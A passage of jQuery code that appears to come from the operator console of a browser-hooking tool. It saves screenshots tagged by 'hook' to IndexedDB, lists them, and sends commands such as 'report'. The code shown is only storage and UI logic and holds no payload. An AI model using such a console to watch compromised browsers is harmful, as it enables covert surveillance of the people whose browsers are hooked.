refreshPersistentScriptList([]);
fillDataTemplate($('#tab-ext-info'), {});
sendCmd('report');
});
$('#screenshot-save').click(function() {
if (!db) {
al('No indexed DB support in your browser');
return false;
}
if (!db.objectStoreNames.contains('screenshots')) {
al('Error, no screenshots store. Database not initialized?');
return false;
}
var mode = window.webkitIDBTransaction ? webkitIDBTransaction.READ_WRITE : IDBTransaction.READ_WRITE;
var t = db.transaction(["screenshots"], mode);
t.objectStore('screenshots')
.add({
'hook': hook,
'date': new Date(),
'description': $('#screenshot-description').attr('value'),
'image': $('#screenshot').attr('src')
}).onsuccess = function() {
al('Screenshot saved!')
log('Screenshot saved!')
$('#screenshot-modal').modal('hide');
};
t.oncomplete = function() {
//console.log('complete');
}
t.onerror = function() {
//console.log('e');
}
});
$('#saved-screenshots-load').click(function() {
if (!db) {
al('No indexed DB support in your browser');
return false;
}
if (!db.objectStoreNames.contains('screenshots')) {
al('Error, no screenshots store. Database not initialized?');
return false;
}
$('#saved-screenshots').html('');
var req = db.transaction(["screenshots"]).objectStore("screenshots").openCursor();
req.onsuccess = function(event) {
var c = event.target.result;
if (!c) { // end of set
return;
}
var $a = $('<a target=_blank>').attr('href', c.value.image);
$('<img class="screenshot-saved-images">')
.attr('src', c.value.image)
.attr('title', c.value.description)